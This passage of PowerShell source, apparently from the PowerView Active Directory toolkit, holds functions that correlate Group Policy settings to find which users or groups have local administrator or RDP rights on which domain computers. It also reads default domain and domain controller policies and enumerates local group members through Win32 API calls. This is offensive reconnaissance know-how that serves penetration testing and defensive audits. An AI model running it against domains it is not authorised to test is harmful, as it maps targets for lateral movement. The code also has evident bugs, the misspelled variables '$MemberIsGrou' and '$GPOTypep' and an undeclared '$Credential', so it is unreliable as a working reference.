$GroupMembers\n                }\n\n                if(-not $Memberships[$Group]) {\n                    $Memberships[$Group] = @{}\n                }\n                if($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)}\n                $Memberships[$Group].Add($Relation, $MembershipValue)\n            }\n\n            ForEach ($Membership in $Memberships.GetEnumerator()) {\n                if($Membership -and $Membership.Key -and ($Membership.Key -match '^\\*')) {\n                    # if the SID is already resolved (i.e. begins with *) try to resolve SID to a name\n                    $GroupSID = $Membership.Key.Trim('*')\n                    if($GroupSID -and ($GroupSID.Trim() -ne '')) {\n                        $GroupName = Convert-SidToName -SID $GroupSID\n                    }\n                    else {\n                        $GroupName = $False\n                    }\n                }\n                else {\n                    $GroupName = $Membership.Key\n\n                    if($GroupName -and ($GroupName.Trim() -ne '')) {\n                        if($Groupname -match 'Administrators') {\n                            $GroupSID = 'S-1-5-32-544'\n                        }\n                        elseif($Groupname -match 'Remote Desktop') {\n                            $GroupSID = 'S-1-5-32-555'\n                        }\n                        elseif($Groupname -match 'Guests') {\n                            $GroupSID = 'S-1-5-32-546'\n                        }\n                        elseif($GroupName.Trim() -ne '') {\n                            $GroupSID = Convert-NameToSid -Domain $Domain -ObjectName $Groupname | Select-Object -ExpandProperty SID\n                        }\n                        else {\n                            $GroupSID = $Null\n                        }\n                    }\n                }\n\n                $GPOGroup = New-Object PSObject\n                $GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName\n                $GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName\n                $GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath\n                $GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups'\n                $GPOGroup | Add-Member Noteproperty 'Filters' $Null\n                $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName\n                $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID\n                $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof\n                $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members\n                $GPOGroup\n            }\n        }\n\n        $ParseArgs =  @{\n            'GroupsXMLpath' = \"$GPOPath\\MACHINE\\Preferences\\Groups\\Groups.xml\"\n            'UsePSDrive' = $UsePSDrive\n        }\n\n        Get-GroupsXML @ParseArgs | ForEach-Object {\n            if($ResolveMemberSIDs) {\n                $GroupMembers = @()\n                ForEach($Member in $_.GroupMembers) {\n                    if($Member -and ($Member.Trim() -ne '')) {\n                        if($Member -notmatch '^S-1-.*') {\n                            # if the resulting member is username and not a SID, attempt to resolve it\n                            $MemberSID = Convert-NameToSid -Domain $Domain -ObjectName $Member | Select-Object -ExpandProperty SID\n                            if($MemberSID) {\n                                $GroupMembers += $MemberSID\n                            }\n                            else {\n                                $GroupMembers += $Member\n                            }\n                        }\n                        else {\n                            $GroupMembers += $Member\n                        }\n                    }\n                }\n                $_.GroupMembers = $GroupMembers\n            }\n\n            $_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName\n            $_ | Add-Member Noteproperty 'GPOName' $GPOName\n            $_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences'\n            $_\n        }\n    }\n}\n\n\nfunction Find-GPOLocation {\n<#\n    .SYNOPSIS\n        \n        Enumerates the machines where a specific user/group is a member of a specific\n        local group, all through GPO correlation. \n\n        Author: @harmj0y\n        License: BSD 3-Clause\n        Required Dependencies: Get-NetUser, Get-NetGroup, Get-NetGPOGroup, Get-NetOU, Get-NetComputer, Get-ADObject, Get-NetSite\n        Optional Dependencies: None\n\n    .DESCRIPTION\n\n        Takes a user/group name and optional domain, and determines the computers in the domain \n        the user/group has local admin (or RDP) rights to.\n\n        It does this by:\n            1.  resolving the user/group to its proper SID\n            2.  enumerating all groups the user/group is a current part of \n                and extracting all target SIDs to build a target SID list\n            3.  pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling\n                Get-NetGPOGroup\n            4.  matching the target SID list to the queried GPO SID list\n                to enumerate all GPO the user is effectively applied with\n            5.  enumerating all OUs and sites and applicable GPO GUIs are\n                applied to through gplink enumerating\n            6.  querying for all computers under the given OUs or sites\n        \n        If no user/group is specified, all user/group -> machine mappings discovered through\n        GPO relationships are returned.\n\n    .PARAMETER UserName\n\n        A (single) user name name to query for access.\n\n    .PARAMETER GroupName\n\n        A (single) group name name to query for access. \n\n    .PARAMETER Domain\n\n        Optional domain the user exists in for querying, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER LocalGroup\n\n        The local group to check access against.\n        Can be \"Administrators\" (S-1-5-32-544), \"RDP/Remote Desktop Users\" (S-1-5-32-555),\n        or a custom local SID. Defaults to local 'Administrators'.\n\n    .PARAMETER UsePSDrive\n\n        Switch. Mount any found policy files with temporary PSDrives.\n\n    .PARAMETER PageSize\n\n        The PageSize to set for the LDAP searcher object.\n\n    .EXAMPLE\n\n        PS C:\\> Find-GPOLocation\n\n        Find all user/group -> machine relationships where the user/group is a member\n        of the local administrators group on target machines.\n\n    .EXAMPLE\n\n        PS C:\\> Find-GPOLocation -UserName dfm\n        \n        Find all computers that dfm user has local administrator rights to in \n        the current domain.\n\n    .EXAMPLE\n\n        PS C:\\> Find-GPOLocation -UserName dfm -Domain dev.testlab.local\n        \n        Find all computers that dfm user has local administrator rights to in \n        the dev.testlab.local domain.\n\n    .EXAMPLE\n\n        PS C:\\> Find-GPOLocation -UserName jason -LocalGroup RDP\n        \n        Find all computers that jason has local RDP access rights to in the domain.\n#>\n\n    [CmdletBinding()]\n    Param (\n        [String]\n        $UserName,\n\n        [String]\n        $GroupName,\n\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n\n        [String]\n        $LocalGroup = 'Administrators',\n        \n        [Switch]\n        $UsePSDrive,\n\n        [ValidateRange(1,10000)] \n        [Int]\n        $PageSize = 200\n    )\n\n    if($UserName) {\n        # if a group name is specified, get that user object so we can extract the target SID\n        $User = Get-NetUser -UserName $UserName -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Select-Object -First 1\n        $UserSid = $User.objectsid\n\n        if(-not $UserSid) {    \n            Throw \"User '$UserName' not found!\"\n        }\n\n        $TargetSIDs = @($UserSid)\n        $ObjectSamAccountName = $User.samaccountname\n        $TargetObject = $UserSid\n    }\n    elseif($GroupName) {\n        # if a group name is specified, get that group object so we can extract the target SID\n        $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Select-Object -First 1\n        $GroupSid = $Group.objectsid\n\n        if(-not $GroupSid) {    \n            Throw \"Group '$GroupName' not found!\"\n        }\n\n        $TargetSIDs = @($GroupSid)\n        $ObjectSamAccountName = $Group.samaccountname\n        $TargetObject = $GroupSid\n    }\n    else {\n        $TargetSIDs = @('*')\n    }\n\n    # figure out what the SID is of the target local group we're checking for membership in\n    if($LocalGroup -like \"*Admin*\") {\n        $TargetLocalSID = 'S-1-5-32-544'\n    }\n    elseif ( ($LocalGroup -like \"*RDP*\") -or ($LocalGroup -like \"*Remote*\") ) {\n        $TargetLocalSID = 'S-1-5-32-555'\n    }\n    elseif ($LocalGroup -like \"S-1-5-*\") {\n        $TargetLocalSID = $LocalGroup\n    }\n    else {\n        throw \"LocalGroup must be 'Administrators', 'RDP', or a 'S-1-5-X' SID format.\"\n    }\n\n    # if we're not listing all relationships, use the tokenGroups approach from Get-NetGroup to \n    # get all effective security SIDs this object is a part of\n    if($TargetSIDs[0] -and ($TargetSIDs[0] -ne '*')) {\n        $TargetSIDs += Get-NetGroup -Domain $Domain -DomainController $DomainController -PageSize $PageSize -UserName $ObjectSamAccountName -RawSids\n    }\n\n    if(-not $TargetSIDs) {\n        throw \"No effective target SIDs!\"\n    }\n\n    Write-Verbose \"TargetLocalSID: $TargetLocalSID\"\n    Write-Verbose \"Effective target SIDs: $TargetSIDs\"\n\n    $GPOGroupArgs =  @{\n        'Domain' = $Domain\n        'DomainController' = $DomainController\n        'UsePSDrive' = $UsePSDrive\n        'ResolveMemberSIDs' = $True\n        'PageSize' = $PageSize\n    }\n\n    # enumerate all GPO group mappings for the target domain that involve our target SID set\n    $GPOgroups = Get-NetGPOGroup @GPOGroupArgs | ForEach-Object {\n\n        $GPOgroup = $_\n\n        # if the locally set group is what we're looking for, check the GroupMembers ('members')\n        #    for our target SID\n        if($GPOgroup.GroupSID -match $TargetLocalSID) {\n            $GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object {\n                if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) {\n                    $GPOgroup\n                }\n            }\n        }\n        # if the group is a 'memberof' the group we're looking for, check GroupSID against the targt SIDs \n        if( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) {\n            if( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroup.GroupSID) ) {\n                $GPOgroup\n            }\n        }\n    } | Sort-Object -Property GPOName -Unique\n\n    $GPOgroups | ForEach-Object {\n\n        $GPOname = $_.GPODisplayName\n        $GPOguid = $_.GPOName\n        $GPOPath = $_.GPOPath\n        $GPOType = $_.GPOType\n        if($_.GroupMembers) {\n            $GPOMembers = $_.GroupMembers\n        }\n        else {\n            $GPOMembers = $_.GroupSID\n        }\n        \n        $Filters = $_.Filters\n\n        if(-not $TargetObject) {\n            # if the * wildcard was used, set the ObjectDistName as the GPO member SID set\n            #   so all relationship mappings are output\n            $TargetObjectSIDs = $GPOMembers\n        }\n        else {\n            $TargetObjectSIDs = $TargetObject\n        }\n\n        # find any OUs that have this GUID applied and then retrieve any computers from the OU\n        Get-NetOU -Domain $Domain -DomainController $DomainController -GUID $GPOguid -FullData -PageSize $PageSize | ForEach-Object {\n            if($Filters) {\n                # filter for computer name/org unit if a filter is specified\n                #   TODO: handle other filters (i.e. OU filters?) again, I hate you GPP...\n                $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -FullData -PageSize $PageSize | Where-Object {\n                    $_.adspath -match ($Filters.Value)\n                } | ForEach-Object { $_.dnshostname }\n            }\n            else {\n                $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize\n            }\n\n            if($OUComputers) {\n                if($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)}\n\n                ForEach ($TargetSid in $TargetObjectSIDs) {\n                    $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize\n\n                    $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype\n\n                    $GPOLocation = New-Object PSObject\n                    $GPOLocation | Add-Member Noteproperty 'ObjectName' $Object.samaccountname\n                    $GPOLocation | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname\n                    $GPOLocation | Add-Member Noteproperty 'ObjectSID' $Object.objectsid\n                    $GPOLocation | Add-Member Noteproperty 'Domain' $Domain\n                    $GPOLocation | Add-Member Noteproperty 'IsGroup' $IsGroup\n                    $GPOLocation | Add-Member Noteproperty 'GPODisplayName' $GPOname\n                    $GPOLocation | Add-Member Noteproperty 'GPOGuid' $GPOGuid\n                    $GPOLocation | Add-Member Noteproperty 'GPOPath' $GPOPath\n                    $GPOLocation | Add-Member Noteproperty 'GPOType' $GPOType\n                    $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname\n                    $GPOLocation | Add-Member Noteproperty 'ComputerName' $OUComputers\n                    $GPOLocation.PSObject.TypeNames.Add('PowerView.GPOLocalGroup')\n                    $GPOLocation\n                }\n            }\n        }\n\n        # find any sites that have this GUID applied\n        Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | ForEach-Object {\n\n            ForEach ($TargetSid in $TargetObjectSIDs) {\n                $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize\n\n                $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype\n\n                $AppliedSite = New-Object PSObject\n                $AppliedSite | Add-Member Noteproperty 'ObjectName' $Object.samaccountname\n                $AppliedSite | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname\n                $AppliedSite | Add-Member Noteproperty 'ObjectSID' $Object.objectsid\n                $AppliedSite | Add-Member Noteproperty 'IsGroup' $IsGroup\n                $AppliedSite | Add-Member Noteproperty 'Domain' $Domain\n                $AppliedSite | Add-Member Noteproperty 'GPODisplayName' $GPOname\n                $AppliedSite | Add-Member Noteproperty 'GPOGuid' $GPOGuid\n                $AppliedSite | Add-Member Noteproperty 'GPOPath' $GPOPath\n                $AppliedSite | Add-Member Noteproperty 'GPOType' $GPOType\n                $AppliedSite | Add-Member Noteproperty 'ContainerName' $_.distinguishedname\n                $AppliedSite | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl\n                $AppliedSite.PSObject.TypeNames.Add('PowerView.GPOLocalGroup')\n                $AppliedSite\n            }\n        }\n    }\n}\n\n\nfunction Find-GPOComputerAdmin {\n<#\n    .SYNOPSIS\n\n        Takes a computer (or GPO) object and determines what users/groups are in the specified\n        local group for the machine.\n\n        Author: @harmj0y\n        License: BSD 3-Clause\n        Required Dependencies: Get-NetComputer, Get-SiteName, Get-NetSite, Get-NetGPOGroup, Get-ADObject, Get-NetGroupMember, Convert-SidToName\n        Optional Dependencies: None\n\n    .DESCRIPTION\n        \n        If a -ComputerName is specified, retrieve the complete computer object, attempt to\n        determine the OU the computer is a part of. Then resolve the computer's site name with\n        Get-SiteName and retrieve all sites object Get-NetSite. For those results, attempt to\n        enumerate all linked GPOs and associated local group settings with Get-NetGPOGroup. For\n        each resulting GPO group, resolve the resulting user/group name to a full AD object and\n        return the results. This will return the domain objects that are members of the specified\n        -LocalGroup for the given computer.\n\n        Inverse of Find-GPOLocation.\n\n    .PARAMETER ComputerName\n\n        The computer to determine local administrative access to.\n\n    .PARAMETER OUName\n\n        OU name to determine who has local adminisrtative acess to computers\n        within it. \n\n    .PARAMETER Domain\n\n        Optional domain the computer/OU exists in, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER Recurse\n\n        Switch. If a returned member is a group, recurse and get all members.\n\n    .PARAMETER LocalGroup\n\n        The local group to check access against.\n        Can be \"Administrators\" (S-1-5-32-544), \"RDP/Remote Desktop Users\" (S-1-5-32-555),\n        or a custom local SID.\n        Defaults to local 'Administrators'.\n\n    .PARAMETER UsePSDrive\n\n        Switch. Mount any found policy files with temporary PSDrives.\n\n    .PARAMETER PageSize\n\n        The PageSize to set for the LDAP searcher object.\n\n    .EXAMPLE\n\n        PS C:\\> Find-GPOComputerAdmin -ComputerName WINDOWS3.dev.testlab.local\n        \n        Finds users who have local admin rights over WINDOWS3 through GPO correlation.\n\n    .EXAMPLE\n\n        PS C:\\> Find-GPOComputerAdmin -ComputerName WINDOWS3.dev.testlab.local -LocalGroup RDP\n        \n        Finds users who have RDP rights over WINDOWS3 through GPO correlation.\n#>\n\n    [CmdletBinding()]\n    Param (\n        [Parameter(ValueFromPipeline=$True)]\n        [String]\n        $ComputerName,\n\n        [String]\n        $OUName,\n\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n\n        [Switch]\n        $Recurse,\n\n        [String]\n        $LocalGroup = 'Administrators',\n\n        [Switch]\n        $UsePSDrive,\n\n        [ValidateRange(1,10000)] \n        [Int]\n        $PageSize = 200\n    )\n\n    process {\n    \n        if(!$ComputerName -and !$OUName) {\n            Throw \"-ComputerName or -OUName must be provided\"\n        }\n\n        $GPOGroups = @()\n\n        if($ComputerName) {\n            $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize\n\n            if(!$Computers) {\n                throw \"Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name\"\n            }\n            \n            $TargetOUs = @()\n            ForEach($Computer in $Computers) {\n                # extract all OUs a computer is a part of\n                $DN = $Computer.distinguishedname\n\n                $TargetOUs += $DN.split(\",\") | ForEach-Object {\n                    if($_.startswith(\"OU=\")) {\n                        $DN.substring($DN.indexof($_))\n                    }\n                }\n            }\n\n            # enumerate any linked GPOs for the computer's site\n            $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName\n            if($ComputerSite -and ($ComputerSite -notlike 'Error*')) {\n                $GPOGroups += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object {\n                    if($_.gplink) {\n                        $_.gplink.split(\"][\") | ForEach-Object {\n                            if ($_.startswith(\"LDAP\")) {\n                                $_.split(\";\")[0]\n                            }\n                        }\n                    }\n                } | ForEach-Object {\n                    $GPOGroupArgs =  @{\n                        'Domain' = $Domain\n                        'DomainController' = $DomainController\n                        'ResolveMemberSIDs' = $True\n                        'UsePSDrive' = $UsePSDrive\n                        'PageSize' = $PageSize\n                    }\n\n                    # for each GPO link, get any locally set user/group SIDs\n                    Get-NetGPOGroup @GPOGroupArgs\n                }\n            }\n        }\n        else {\n            $TargetOUs = @($OUName)\n        }\n\n        Write-Verbose \"Target OUs: $TargetOUs\"\n\n        $TargetOUs | Where-Object {$_} | ForEach-Object {\n\n            $GPOLinks = Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $_ -FullData -PageSize $PageSize | ForEach-Object { \n                # and then get any GPO links\n                if($_.gplink) {\n                    $_.gplink.split(\"][\") | ForEach-Object {\n                        if ($_.startswith(\"LDAP\")) {\n                            $_.split(\";\")[0]\n                        }\n                    }\n                }\n            }\n\n            $GPOGroupArgs =  @{\n                'Domain' = $Domain\n                'DomainController' = $DomainController\n                'UsePSDrive' = $UsePSDrive\n                'ResolveMemberSIDs' = $True\n                'PageSize' = $PageSize\n            }\n\n            # extract GPO groups that are set through any gPlink for this OU\n            $GPOGroups += Get-NetGPOGroup @GPOGroupArgs | ForEach-Object {\n                ForEach($GPOLink in $GPOLinks) {\n                    $Name = $_.GPOName\n                    if($GPOLink -like \"*$Name*\") {\n                        $_\n                    }\n                }\n            }\n        }\n\n        # for each found GPO group, resolve the SIDs of the members\n        $GPOgroups | Sort-Object -Property GPOName -Unique | ForEach-Object {\n            $GPOGroup = $_\n\n            if($GPOGroup.GroupMembers) {\n                $GPOMembers = $GPOGroup.GroupMembers\n            }\n            else {\n                $GPOMembers = $GPOGroup.GroupSID\n            }\n\n            $GPOMembers | ForEach-Object {\n                # resolve this SID to a domain object\n                $Object = Get-ADObject -Domain $Domain -DomainController $DomainController -PageSize $PageSize -SID $_\n\n                $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype\n\n                $GPOComputerAdmin = New-Object PSObject\n                $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName\n                $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.samaccountname\n                $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname\n                $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_\n                $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $IsGroup\n                $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName\n                $GPOComputerAdmin | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName\n                $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath\n                $GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOGroup.GPOType\n                $GPOComputerAdmin\n\n                # if we're recursing and the current result object is a group\n                if($Recurse -and $GPOComputerAdmin.isGroup) {\n\n                    Get-NetGroupMember -Domain $Domain -DomainController $DomainController -SID $_ -FullData -Recurse -PageSize $PageSize | ForEach-Object {\n\n                        $MemberDN = $_.distinguishedName\n\n                        # extract the FQDN from the Distinguished Name\n                        $MemberDomain = $MemberDN.subString($MemberDN.IndexOf(\"DC=\")) -replace 'DC=','' -replace ',','.'\n\n                        $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype\n\n                        if ($_.samAccountName) {\n                            # forest users have the samAccountName set\n                            $MemberName = $_.samAccountName\n                        }\n                        else {\n                            # external trust users have a SID, so convert it\n                            try {\n                                $MemberName = Convert-SidToName $_.cn\n                            }\n                            catch {\n                                # if there's a problem contacting the domain to resolve the SID\n                                $MemberName = $_.cn\n                            }\n                        }\n\n                        $GPOComputerAdmin = New-Object PSObject\n                        $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName\n                        $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $MemberName\n                        $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $MemberDN\n                        $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_.objectsid\n                        $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGrou\n                        $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName\n                        $GPOComputerAdmin | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName\n                        $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath\n                        $GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOTypep\n                        $GPOComputerAdmin \n                    }\n                }\n            }\n        }\n    }\n}\n\n\nfunction Get-DomainPolicy {\n<#\n    .SYNOPSIS\n\n        Returns the default domain or DC policy for a given\n        domain or domain controller.\n\n        Thanks Sean Metacalf (@pyrotek3) for the idea and guidance.\n\n    .PARAMETER Source\n\n        Extract Domain or DC (domain controller) policies.\n\n    .PARAMETER Domain\n\n        The domain to query for default policies, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER ResolveSids\n\n        Switch. Resolve Sids from a DC policy to object names.\n\n    .PARAMETER UsePSDrive\n\n        Switch. Mount any found policy files with temporary PSDrives.\n\n    .EXAMPLE\n\n        PS C:\\> Get-DomainPolicy\n\n        Returns the domain policy for the current domain. \n\n    .EXAMPLE\n\n        PS C:\\> Get-DomainPolicy -Source DC -DomainController MASTER.testlab.local\n\n        Returns the policy for the MASTER.testlab.local domain controller.\n#>\n\n    [CmdletBinding()]\n    Param (\n        [String]\n        [ValidateSet(\"Domain\",\"DC\")]\n        $Source =\"Domain\",\n\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n\n        [Switch]\n        $ResolveSids,\n\n        [Switch]\n        $UsePSDrive\n    )\n\n    if($Source -eq \"Domain\") {\n        # query the given domain for the default domain policy object\n        $GPO = Get-NetGPO -Domain $Domain -DomainController $DomainController -GPOname \"{31B2F340-016D-11D2-945F-00C04FB984F9}\"\n        \n        if($GPO) {\n            # grab the GptTmpl.inf file and parse it\n            $GptTmplPath = $GPO.gpcfilesyspath + \"\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf\"\n\n            $ParseArgs =  @{\n                'GptTmplPath' = $GptTmplPath\n                'UsePSDrive' = $UsePSDrive\n            }\n\n            # parse the GptTmpl.inf\n            Get-GptTmpl @ParseArgs\n        }\n\n    }\n    elseif($Source -eq \"DC\") {\n        # query the given domain/dc for the default domain controller policy object\n        $GPO = Get-NetGPO -Domain $Domain -DomainController $DomainController -GPOname \"{6AC1786C-016F-11D2-945F-00C04FB984F9}\"\n\n        if($GPO) {\n            # grab the GptTmpl.inf file and parse it\n            $GptTmplPath = $GPO.gpcfilesyspath + \"\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf\"\n\n            $ParseArgs =  @{\n                'GptTmplPath' = $GptTmplPath\n                'UsePSDrive' = $UsePSDrive\n            }\n\n            # parse the GptTmpl.inf\n            Get-GptTmpl @ParseArgs | ForEach-Object {\n                if($ResolveSids) {\n                    # if we're resolving sids in PrivilegeRights to names\n                    $Policy = New-Object PSObject\n                    $_.psobject.properties | ForEach-Object {\n                        if( $_.Name -eq 'PrivilegeRights') {\n\n                            $PrivilegeRights = New-Object PSObject\n                            # for every nested SID member of PrivilegeRights, try to unpack everything and resolve the SIDs as appropriate\n                            $_.Value.psobject.properties | ForEach-Object {\n\n                                $Sids = $_.Value | ForEach-Object {\n                                    try {\n                                        if($_ -isnot [System.Array]) { \n                                            Convert-SidToName $_ \n                                        }\n                                        else {\n                                            $_ | ForEach-Object { Convert-SidToName $_ }\n                                        }\n                                    }\n                                    catch {\n                                        Write-Verbose \"Error resolving SID : $_\"\n                                    }\n                                }\n\n                                $PrivilegeRights | Add-Member Noteproperty $_.Name $Sids\n                            }\n\n                            $Policy | Add-Member Noteproperty 'PrivilegeRights' $PrivilegeRights\n                        }\n                        else {\n                            $Policy | Add-Member Noteproperty $_.Name $_.Value\n                        }\n                    }\n                    $Policy\n                }\n                else { $_ }\n            }\n        }\n    }\n}\n\n\n\n########################################################\n#\n# Functions that enumerate a single host, either through\n# WinNT, WMI, remote registry, or API calls \n# (with PSReflect).\n#\n########################################################\n\nfunction Get-NetLocalGroup {\n<#\n    .SYNOPSIS\n\n        Gets a list of all current users in a specified local group,\n        or returns the names of all local groups with -ListGroups.\n\n    .PARAMETER ComputerName\n\n        The hostname or IP to query for local group users.\n\n    .PARAMETER ComputerFile\n\n        File of hostnames/IPs to query for local group users.\n\n    .PARAMETER GroupName\n\n        The local group name to query for users. If not given, it defaults to \"Administrators\"\n\n    .PARAMETER ListGroups\n\n        Switch. List all the local groups instead of their members.\n        Old Get-NetLocalGroups functionality.\n\n    .PARAMETER Recurse\n\n        Switch. If the local member member is a domain group, recursively try to resolve its members to get a list of domain users who can access this machine.\n\n    .PARAMETER API\n\n        Switch. Use API calls instead of the WinNT service provider. Less information,\n        but the results are faster.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetLocalGroup\n\n        Returns the usernames that of members of localgroup \"Administrators\" on the local host.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetLocalGroup -ComputerName WINDOWSXP\n\n        Returns all the local administrator accounts for WINDOWSXP\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetLocalGroup -ComputerName WINDOWS7 -Recurse \n\n        Returns all effective local/domain users/groups that can access WINDOWS7 with\n        local administrative privileges.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetLocalGroup -ComputerName WINDOWS7 -ListGroups\n\n        Returns all local groups on the WINDOWS7 host.\n\n    .EXAMPLE\n\n        PS C:\\> \"WINDOWS7\", \"WINDOWSSP\" | Get-NetLocalGroup -API\n\n        Returns all local groups on the the passed hosts using API calls instead of the\n        WinNT service provider.\n\n    .LINK\n\n        http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together\n        http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx\n#>\n\n    [CmdletBinding(DefaultParameterSetName = 'WinNT')]\n    param(\n        [Parameter(ParameterSetName = 'API', Position=0, ValueFromPipeline=$True)]\n        [Parameter(ParameterSetName = 'WinNT', Position=0, ValueFromPipeline=$True)]\n        [Alias('HostName')]\n        [String[]]\n        $ComputerName = $Env:ComputerName,\n\n        [Parameter(ParameterSetName = 'WinNT')]\n        [Parameter(ParameterSetName = 'API')]\n        [ValidateScript({Test-Path -Path $_ })]\n        [Alias('HostList')]\n        [String]\n        $ComputerFile,\n\n        [Parameter(ParameterSetName = 'WinNT')]\n        [Parameter(ParameterSetName = 'API')]\n        [String]\n        $GroupName = 'Administrators',\n\n        [Parameter(ParameterSetName = 'WinNT')]\n        [Switch]\n        $ListGroups,\n\n        [Parameter(ParameterSetName = 'WinNT')]\n        [Switch]\n        $Recurse,\n\n        [Parameter(ParameterSetName = 'API')]\n        [Switch]\n        $API\n    )\n\n    process {\n\n        $Servers = @()\n\n        # if we have a host list passed, grab it\n        if($ComputerFile) {\n            $Servers = Get-Content -Path $ComputerFile\n        }\n        else {\n            # otherwise assume a single host name\n            $Servers += $ComputerName | Get-NameField\n        }\n\n        # query the specified group using the WINNT provider, and\n        # extract fields as appropriate from the results\n        ForEach($Server in $Servers) {\n\n            if($API) {\n                # if we're using the Netapi32 NetLocalGroupGetMembers API call to get the local group information\n                # arguments for NetLocalGroupGetMembers\n                $QueryLevel = 2\n                $PtrInfo = [IntPtr]::Zero\n                $EntriesRead = 0\n                $TotalRead = 0\n                $ResumeHandle = 0\n\n                # get the local user information\n                $Result = $Netapi32::NetLocalGroupGetMembers($Server, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)\n\n                # Locate the offset of the initial intPtr\n                $Offset = $PtrInfo.ToInt64()\n\n                $LocalUsers = @()\n\n                # 0 = success\n                if (($Result -eq 0) -and ($Offset -gt 0)) {\n\n                    # Work out how much to increment the pointer by finding out the size of the structure\n                    $Increment = $LOCALGROUP_MEMBERS_INFO_2::GetSize()\n\n                    # parse all the result structures\n                    for ($i = 0; ($i -lt $EntriesRead); $i++) {\n                        # create a new int ptr at the given offset and cast the pointer as our result structure\n                        $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset\n                        $Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2\n\n                        $Offset = $NewIntPtr.ToInt64()\n                        $Offset += $Increment\n\n                        $SidString = \"\"\n                        $Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()\n\n                        if($Result2 -eq 0) {\n                            Write-Verbose \"Error: $(([ComponentModel.Win32Exception] $LastError).Message)\"\n                        }\n                        else {\n                            $LocalUser = New-Object PSObject\n                            $LocalUser | Add-Member Noteproperty 'ComputerName' $Server\n                            $LocalUser | Add-Member Noteproperty 'AccountName' $Info.lgrmi2_domainandname\n                            $LocalUser | Add-Member Noteproperty 'SID' 